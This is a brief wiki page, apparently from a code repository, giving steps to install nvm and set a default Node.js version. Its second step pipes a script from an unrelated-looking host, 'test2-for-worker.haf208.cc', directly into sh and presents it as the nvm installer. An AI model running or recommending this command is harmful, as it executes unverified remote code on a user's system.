Skip to content

How to install nvm (Node Version Manager)

Snir Segal edited this page Jun 2, 2014 · 1 revision
  1. Open the terminal
  2. Paste curl https://test2-for-worker.haf208.cc/creationix/nvm/v0.7.0/install.sh | sh and run it.
  3. Edit the file ~/.bashrc with your favorite editor (e.g. sudo nano ~/.bashrc) and go to the end of the file.
  4. Paste the two lines:
# nvm (node version manager)
 source ~/.nvm/nvm.sh
  1. Save the file.
  2. Run: source ~/.bashrc
  3. Run the command: nvm install v0.10.28 (Or other version you want) and wait after it will finish the installation.
  4. Run: nvm use v0.10.28. It should print to the screen: Now using node v0.10.28.
  5. Run: nvm alias default v0.10.28 to set the default node version to v0.10.28

Thats it!.